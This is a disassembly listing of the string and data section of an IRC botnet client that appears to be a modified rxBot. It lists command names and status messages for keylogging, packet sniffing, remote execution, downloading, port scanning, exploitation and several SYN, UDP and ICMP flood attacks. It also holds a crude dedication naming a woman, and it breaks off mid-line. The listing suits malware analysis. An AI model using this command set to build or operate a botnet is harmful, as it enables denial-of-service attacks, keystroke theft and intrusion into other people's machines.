20746F42h, 203A4449h ; DATA XREF: sub_401C87+29ACo dd 2E7325h unk_440D74 db 2Dh ; - ; DATA XREF: sub_401C87+29EAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+2A36o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4046CFo align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4046E6o align 4 dword_440DD4 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401C87+2A6Co dd 6E697463h, 2E67h aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_404708o align 4 dword_440E08 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401C87+2A8Eo dd 676E6974h, 2Eh dword_440E24 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401C87+2B01o dword_440E34 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401C87+2B06o dword_440E44 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401C87+2B19o dword_440E50 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401C87+2B1Eo dword_440E60 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401C87+2BD1o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_440E88 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401C87+2C2Ao aFailedToStar_8 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_440EC4 db 2Dh ; - ; DATA XREF: sub_401C87+2CC1o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStarte_1 db ' Server started on: %s:%d.',0 align 10h unk_440EF0 db 2Dh ; - ; DATA XREF: sub_401C87+2D2Fo db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToStar_9 db ' Failed to start server thread, error: <%d>.',0 align 10h aSecure_0 db 'secure',0 ; DATA XREF: sub_401C87+2D4Fo align 4 aSec_0 db 'sec',0 ; DATA XREF: sub_401C87+2D60o aSecuring db 'Securing',0 ; DATA XREF: sub_401C87+2DBBo align 4 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401C87+2DC2o align 4 dword_440F54 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401C87+2DC8o dd 2E6D6574h, 0 dword_440F70 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401C87+2E2Co aFailedToSta_10 db '- Failed to start secure thread, error: <%d>.',0 align 10h unk_440FB0 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404AEBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 10h dword_441060 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401C87+2E73o unk_441070 db 2Dh ; - ; DATA XREF: sub_401C87+2EB1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_1 db 'User %s logged out.',0 unk_441090 db 2Dh ; - ; DATA XREF: sub_401C87+2EC4o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 unk_4410BC db 2Dh ; - ; DATA XREF: sub_401C87+2ECFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_4410E8 db 2Dh ; - ; DATA XREF: sub_401C87+2F11o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_2 db 'User %s logged out.',0 a332_1 db '332',0 ; DATA XREF: sub_401C87+2F21o aGet_2 db 'get',0 ; DATA XREF: sub_401C87:loc_404BC8o unk_441110 db 2Dh ; - ; DATA XREF: sub_401C87+2F63o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401C87+2FBCo align 4 unk_441154 db 2Dh ; - ; DATA XREF: sub_401C87+2FD4o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurr_0 db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 unk_44118C db 2Dh ; - ; DATA XREF: sub_401C87+2FF4o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 unk_4411C0 db 2Dh ; - ; DATA XREF: sub_401C87+301Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401C87+303Co unk_4411F4 db 2Dh ; - ; DATA XREF: sub_401C87+30B9o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 unk_441224 db 2Dh ; - ; DATA XREF: sub_401C87+3115o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401C87+3135o align 4 aRin db 'rin',0 ; DATA XREF: sub_401C87+314Ao aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401C87+315Fo aRinms db 'rinms',0 ; DATA XREF: sub_401C87+3174o align 10h aFlood db 'flood',0 ; DATA XREF: sub_401C87+318Bo align 4 aLoad db 'load',0 ; DATA XREF: sub_401C87+31B4o align 10h unk_4412A0 db 2Dh ; - ; DATA XREF: sub_401C87+3208o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 aPm_1 db 'pm',0 ; DATA XREF: sub_401C87+323Ao align 10h a__6: ; DATA XREF: sub_401C87+3255o ; sub_401C87+325Ao unicode 0, < _> aPrivmsgSS_3 db 'privmsg %s :%s',0 ; DATA XREF: sub_401C87+3286o align 4 aCt db 'ct',0 ; DATA XREF: sub_401C87+32A3o align 4 a__7: ; DATA XREF: sub_401C87+32BEo ; sub_401C87+32C3o unicode 0, < _> dword_4412EC dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401C87+32EFo dword_441300 dd 746Eh ; DATA XREF: sub_401C87+330Co byte_441304 db 20h, 0 ; DATA XREF: sub_401C87+3327o word_441306 dw 5Fh ; DATA XREF: sub_401C87+332Co dword_441308 dd 69746F6Eh, 25206563h, 253A2073h, 73h ; DATA XREF: sub_401C87+3358o aMode db 'mode',0 ; DATA XREF: sub_401C87+3375o align 2 asc_44131E db ' ',0 ; DATA XREF: sub_401C87+3390o a_: ; DATA XREF: sub_401C87+3395o unicode 0, <_>,0 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401C87+33C1o align 10h aJoin db 'join',0 ; DATA XREF: sub_401C87+33DEo align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401C87+3400o aPart_1 db 'part',0 ; DATA XREF: sub_401C87+341Do align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401C87+343Fo aPartflood db 'partflood',0 ; DATA XREF: sub_401C87+345Co align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401C87+3483o align 4 aPnick db 'pnick',0 ; DATA XREF: sub_401C87+34A0o align 10h aSI db '%s%i',0 ; DATA XREF: sub_401C87+34E0o align 4 aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401C87+34F8o aJoinPart db 'join/part',0 ; DATA XREF: sub_401C87+3515o align 4 aJoinS_0 db 'join %s',0 ; DATA XREF: sub_401C87+3543o aPartSS_0 db 'part %s %s',0 ; DATA XREF: sub_401C87+356Co align 10h aJoinS_1 db 'join %s',0 ; DATA XREF: sub_401C87+35A3o aPartSS_1 db 'part %s %s',0 ; DATA XREF: sub_401C87+35DFo align 4 aJoinS_2 db 'join %s',0 ; DATA XREF: sub_401C87+3603o aPartSS_2 db 'part %s %s',0 ; DATA XREF: sub_401C87+363Fo align 4 aDcc db 'dcc',0 ; DATA XREF: sub_401C87+365Co dword_4413CC dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401C87+36D9o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 aNick_0 db 'nick',0 ; DATA XREF: sub_401C87+36F6o align 4 aJoinS_3 db 'join %s',0 ; DATA XREF: sub_401C87+3720o aNickS_1 db 'NICK %s',0 ; DATA XREF: sub_401C87+3750o aNickS_2 db 'NICK %s',0 ; DATA XREF: sub_401C87+3793o aNickS_3 db 'NICK %s',0 ; DATA XREF: sub_401C87+37D6o aChgnick db 'chgnick',0 ; DATA XREF: sub_401C87+37F3o aNickS_4 db 'NICK %s',0 ; DATA XREF: sub_401C87+381Co aMsg db 'msg',0 ; DATA XREF: sub_401C87+3839o aJoinS_4 db 'join %s',0 ; DATA XREF: sub_401C87+3867o aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_401C87+3890o align 4 aPrivmsgSS_0 db 'privmsg %s :%s',0 ; DATA XREF: sub_401C87+38CCo align 4 aPrivmsgSS_1 db 'privmsg %s :%s',0 ; DATA XREF: sub_401C87+3908o align 4 aNotice_2 db 'notice',0 ; DATA XREF: sub_401C87+3925o align 10h aJoinS_5 db 'join %s',0 ; DATA XREF: sub_401C87+3953o aNoticeSS_1 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401C87+397Co align 4 aNoticeSS_2 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401C87+39B8o align 4 aNoticeSS_3 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401C87+39F4o align 4 aCtcp db 'ctcp',0 ; DATA XREF: sub_401C87+3A11o align 10h aJoinS_6 db 'join %s',0 ; DATA XREF: sub_401C87+3A3Fo dword_4414B8 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401C87+3A63o dword_4414CC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401C87+3A9Ao dd 1 dword_4414E4 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401C87+3AD1o dd 0 dword_4414FC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401C87+3B08o dd 0 dword_441514 dd 78696Dh ; DATA XREF: sub_401C87+3B25o dword_441518 dd 6E696F6Ah, 732520h ; DATA XREF: sub_401C87+3B53o dword_441520 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401C87+3B77o dword_441534 dd 49544F4Eh, 25204543h, 253A2073h, 73h ; DATA XREF: sub_401C87+3BB3o dword_441544 dd 56495250h, 2047534Dh, 3A207325h, 7325h ; DATA XREF: sub_401C87+3BEFo dword_441554 dd 49544F4Eh, 25204543h, 253A2073h, 73h ; DATA XREF: sub_401C87+3C2Bo aRegister db 'register',0 ; DATA XREF: sub_401C87+3C48o align 10h aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401C87+3C71o aOff_0 db 'off',0 ; DATA XREF: sub_401C87+3C8Eo unk_44158C db 2Dh ; - ; DATA XREF: sub_401C87+3CD5o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNick_1 db 'nick',0 ; DATA XREF: sub_401C87+3CF4o align 2 aN db 'n',0 ; DATA XREF: sub_401C87+3D09o aJoin_0 db 'join',0 ; DATA XREF: sub_401C87+3D1Eo align 2 aJ db 'j',0 ; DATA XREF: sub_401C87+3D33o aPart_2 db 'part',0 ; DATA XREF: sub_401C87+3D48o align 4 aPt db 'pt',0 ; DATA XREF: sub_401C87+3D5Do align 10h aRaw db 'raw',0 ; DATA XREF: sub_401C87+3D72o aR_0: ; DATA XREF: sub_401C87+3D87o unicode 0, <r>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_401C87+3D9Co align 4 aK: ; DATA XREF: sub_401C87+3DB1o unicode 0, <k>,0 aC_quit db 'c_quit',0 ; DATA XREF: sub_401C87+3DC6o align 10h aC_q db 'c_q',0 ; DATA XREF: sub_401C87+3DDBo aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401C87+3DF0o align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401C87+3E05o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401C87+3E1Ao align 10h aPr db 'pr',0 ; DATA XREF: sub_401C87+3E2Fo align 4 aOpen db 'open',0 ; DATA XREF: sub_401C87+3E44o align 2 aO db 'o',0 ; DATA XREF: sub_401C87+3E59o aServer_0 db 'server',0 ; DATA XREF: sub_401C87+3E6Eo align 4 aSe db 'se',0 ; DATA XREF: sub_401C87+3E83o align 4 aDns db 'dns',0 ; DATA XREF: sub_401C87+3E98o aDn db 'dn',0 ; DATA XREF: sub_401C87+3EADo align 10h aKillproc db 'killproc',0 ; DATA XREF: sub_401C87+3EC2o align 4 aKp db 'kp',0 ; DATA XREF: sub_401C87+3ED7o align 10h aKill db 'kill',0 ; DATA XREF: sub_401C87+3EECo align 4 aKi db 'ki',0 ; DATA XREF: sub_401C87+3F01o align 4 aDelete db 'delete',0 ; DATA XREF: sub_401C87+3F16o align 4 aDel db 'del',0 ; DATA XREF: sub_401C87+3F2Bo aGet db 'get',0 ; DATA XREF: sub_401C87+3F40o aGt db 'gt',0 ; DATA XREF: sub_401C87+3F55o align 10h aList db 'list',0 ; DATA XREF: sub_401C87+3F6Ao align 4 aLi db 'li',0 ; DATA XREF: sub_401C87+3F7Fo align 4 aVisit db 'visit',0 ; DATA XREF: sub_401C87+3F94o aV db 'v',0 ; DATA XREF: sub_401C87+3FA9o aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401C87+3FBEo aMirc db 'mirc',0 ; DATA XREF: sub_401C87+3FD3o align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401C87+3FE8o aCm db 'cm',0 ; DATA XREF: sub_401C87+3FFDo align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401C87+4012o align 4 aRf db 'rf',0 ; DATA XREF: sub_401C87+4027o align 4 aPsniff db 'psniff',0 ; DATA XREF: sub_401C87+403Co align 4 aOn db 'on',0 ; DATA XREF: sub_401C87+4053o align 4 dword_4416A8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401C87+4073o aAlreadyRunni_1 db '- Already running.',0 align 4 dword_4416C8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401C87+40D7o aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_4416F8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401C87+4130o aFailedToSta_11 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 aOff_2 db 'off',0 ; DATA XREF: sub_401C87+4152o dword_441738 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401C87+4175o aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_441774 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401C87:loc_405E06o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 10h aSniffer db 'sniffer',0 ; DATA XREF: sub_401C87+418Ao aOn_0 db 'on',0 ; DATA XREF: sub_401C87+41A1o align 4 unk_4417AC db 2Dh ; - ; DATA XREF: sub_401C87+41C1o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_2 db '- Already running.',0 unk_4417CC db 2Dh ; - ; DATA XREF: sub_401C87+4225o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_4417FC db 2Dh ; - ; DATA XREF: sub_401C87+427Eo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_12 db '- Failed to start sniffer thread, error: <%d>.',0 aOff_3 db 'off',0 ; DATA XREF: sub_401C87+42A0o align 10h unk_441840 db 2Dh ; - ; DATA XREF: sub_401C87+42C3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_441880 db 2Dh ; - ; DATA XREF: sub_401C87:loc_405F54o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 aIdent db 'ident',0 ; DATA XREF: sub_401C87+42D8o align 4 aOn_1 db 'on',0 ; DATA XREF: sub_401C87+42EFo align 4 dword_4418BC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401C87+4311o aAlreadyRunni_3 db '- Already running.',0 align 4 dword_4418DC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401C87:loc_405FA2o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_441908 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401C87+4368o aFailedToSta_13 db '- Failed to start server, error: <%d>.',0 align 4 aOff_4 db 'off',0 ; DATA XREF: sub_401C87+4375o dword_441940 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401C87+4398o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_441978 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401C87:loc_406029o aNoThreadFound_ db '- No thread found.',0 align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401C87+43ADo align 10h aOn_2 db 'on',0 ; DATA XREF: sub_401C87+43C5o align 4 aFile db 'file',0 ; DATA XREF: sub_401C87+43D6o align 4 aOff_1 db 'off',0 ; DATA XREF: sub_401C87+43E7o dword_4419B0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401C87+440Ao aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 dword_4419EC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401C87:loc_40609Bo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_441A18 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401C87+442Ao aAlreadyRunni_4 db '- Already running.',0 align 4 aFile_0 db 'file',0 ; DATA XREF: sub_401C87+4441o align 10h dword_441A40 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401C87+44ABo aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_441A64 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401C87+4504o aFailedToSta_14 db '- Failed to start logging thread, error: <%d>.',0 align 10h aNet db 'net',0 ; DATA XREF: sub_401C87+4533o unk_441AA4 db 2Dh ; - ; DATA XREF: sub_401C87+4557o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aStart db 'start',0 ; DATA XREF: sub_401C87+4589o align 4 aS_1 db '%s',0 ; DATA XREF: sub_401C87+45A8o align 4 unk_441AE8 db 2Dh ; - ; DATA XREF: sub_401C87+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 unk_441B0C db 2Dh ; - ; DATA XREF: sub_401C87:loc_406270o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 aStop db 'stop',0 ; DATA XREF: sub_401C87+45F6o align 4 aS_2 db '%s',0 ; DATA XREF: sub_401C87+4611o align 4 aPause db 'pause',0 ; DATA XREF: sub_401C87+461Bo align 10h aS_3 db '%s',0 ; DATA XREF: sub_401C87+4636o align 4 aContinue db 'continue',0 ; DATA XREF: sub_401C87+4643o align 10h aS_4 db '%s',0 ; DATA XREF: sub_401C87+465Eo align 4 aDelete_0 db 'delete',0 ; DATA XREF: sub_401C87+466Bo align 4 aS_5 db '%s',0 ; DATA XREF: sub_401C87+4686o align 10h aShare db 'share',0 ; DATA XREF: sub_401C87+4693o align 4 aS_6 db '%s',0 ; DATA XREF: sub_401C87+46B9o align 4 aS_7 db '%s',0 ; DATA XREF: sub_401C87+46CFo align 10h unk_441B70 db 2Dh ; - ; DATA XREF: sub_401C87+4707o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 unk_441B94 db 2Dh ; - ; DATA XREF: sub_401C87:loc_406398o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 aUser_0 db 'user',0 ; DATA XREF: sub_401C87+471Eo align 4 aS_8 db '%s',0 ; DATA XREF: sub_401C87+4754o align 10h aS_9 db '%s',0 ; DATA XREF: sub_401C87+476Fo align 4 aS_10 db '%s',0 ; DATA XREF: sub_401C87+4780o align 4 unk_441BC8 db 2Dh ; - ; DATA XREF: sub_401C87+47B8o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_441BE8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_406446o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401C87+47C9o align 10h aS_11 db '%s',0 ; DATA XREF: sub_401C87+47F8o align 4 unk_441C14 db 2Dh ; - ; DATA XREF: sub_401C87:loc_406492o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 unk_441C38 db 2Dh ; - ; DATA XREF: sub_401C87:loc_406499o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 aCapture db 'capture',0 ; DATA XREF: sub_401C87+482Bo aCap db 'cap',0 ; DATA XREF: sub_401C87+4840o aGethost db 'gethost',0 ; DATA XREF: sub_401C87+4855o aGh db 'gh',0 ; DATA XREF: sub_401C87+486Ao align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401C87+4893o aKl db 'kl',0 ; DATA XREF: sub_401C87+48AAo align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401C87+48C1o align 4 aAa db 'aa',0 ; DATA XREF: sub_401C87+48D8o align 4 aPrivmsg_1 db 'privmsg',0 ; DATA XREF: sub_401C87+48EFo aPm db 'pm',0 ; DATA XREF: sub_401C87+4906o align 4 aAction db 'action',0 ; DATA XREF: sub_401C87+491Do align 4 aA: ; DATA XREF: sub_401C87+4934o unicode 0, <a>,0 aCycle db 'cycle',0 ; DATA XREF: sub_401C87+494Bo align 4 aCy db 'cy',0 ; DATA XREF: sub_401C87+4962o align 4 aMode_0 db 'mode',0 ; DATA XREF: sub_401C87+4979o align 2 aM db 'm',0 ; DATA XREF: sub_401C87+4990o aC_raw db 'c_raw',0 ; DATA XREF: sub_401C87+49A7o align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401C87+49BEo aC_mode db 'c_mode',0 ; DATA XREF: sub_401C87+49D5o align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401C87+49ECo aC_nick db 'c_nick',0 ; DATA XREF: sub_401C87+4A03o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401C87+4A1Ao aC_join db 'c_join',0 ; DATA XREF: sub_401C87+4A31o align 10h aC_j db 'c_j',0 ; DATA XREF: sub_401C87+4A48o aC_part db 'c_part',0 ; DATA XREF: sub_401C87+4A5Fo align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401C87+4A76o aTarga3 db 'targa3',0 ; DATA XREF: sub_401C87+4A8Do align 4 aT3 db 't3',0 ; DATA XREF: sub_401C87+4AA4o align 4 aTsunami db 'tsunami',0 ; DATA XREF: sub_401C87+4ABBo aTsn db 'tsn',0 ; DATA XREF: sub_401C87+4AD2o aRepeat db 'repeat',0 ; DATA XREF: sub_401C87+4AE9o align 10h aRp db 'rp',0 ; DATA XREF: sub_401C87+4B00o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401C87+4B17o align 4 aDe db 'de',0 ; DATA XREF: sub_401C87+4B2Eo align 10h aUpdate db 'update',0 ; DATA XREF: sub_401C87+4B45o align 4 aUp_0 db 'up',0 ; DATA XREF: sub_401C87+4B5Co align 4 aExecute db 'execute',0 ; DATA XREF: sub_401C87+4B73o aE: ; DATA XREF: sub_401C87+4B8Ao unicode 0, <e>,0 aFindfile db 'findfile',0 ; DATA XREF: sub_401C87+4BA1o align 4 aFf db 'ff',0 ; DATA XREF: sub_401C87+4BB8o align 4 aRename db 'rename',0 ; DATA XREF: sub_401C87+4BCFo align 10h aMv db 'mv',0 ; DATA XREF: sub_401C87+4BE6o align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401C87+4BFDo align 10h aIcmp db 'icmp',0 ; DATA XREF: sub_401C87+4C14o align 4 aClone_0 db 'clone',0 ; DATA XREF: sub_401C87+4C3Do aC db 'c',0 ; DATA XREF: sub_401C87+4C54o aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401C87+4C6Bo align 4 aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401C87+4C82o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401C87+4C99o aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401C87+4CB0o align 10h unk_441DA0 db 2Dh ; - ; DATA XREF: sub_401C87+4D71o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 10h aSynflood db 'synflood',0 ; DATA XREF: sub_401C87+4D93o align 4 aSyn db 'syn',0 ; DATA XREF: sub_401C87+4DAAo aSkysyn db 'skysyn',0 ; DATA XREF: sub_401C87+4DC1o align 4 dword_441DF8 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401C87+4E41o aFloodingSSForS db '- Flooding: (%s:%s) for %s seconds.',0 dword_441E28 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401C87+4E9Do aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401C87+4EBFo align 10h aWonk db 'wonk',0 ; DATA XREF: sub_401C87+4ED6o align 4 aDownload db 'download',0 ; DATA XREF: sub_401C87+4EEDo align 4 aDl db 'dl',0 ; DATA XREF: sub_401C87+4F04o align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401C87+4F1Bo align 4 aRd db 'rd',0 ; DATA XREF: sub_401C87+4F32o align 4 aScan db 'scan',0 ; DATA XREF: sub_401C87+4F49o align 10h aSc db 'sc',0 ; DATA XREF: sub_401C87+4F60o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401C87+4F77o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_401C87+4F8Eo align 4 aC_action db 'c_action',0 ; DATA XREF: sub_401C87+4FA5o align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401C87+4FBCo aPortscan db 'portscan',0 ; DATA XREF: sub_401C87+4FE2o align 4 aPsc db 'psc',0 ; DATA XREF: sub_401C87+4FF9o aAdvscan db 'advscan',0 ; DATA XREF: sub_401C87+5010o aAsc db 'asc',0 ; DATA XREF: sub_401C87+5027o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401C87+503Eo align 10h aUdp db 'udp',0 ; DATA XREF: sub_401C87+5055o aU: ; DATA XREF: sub_401C87+506Co unicode 0, <u>,0 aNetsend db 'netsend',0 ; DATA XREF: sub_401C87+5083o aNs db 'ns',0 ; DATA XREF: sub_401C87+509Ao align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401C87+50B1o align 10h aPing_0 db 'ping',0 ; DATA XREF: sub_401C87+50C8o align 2 aP db 'p',0 ; DATA XREF: sub_401C87+50DFo aTcpflood db 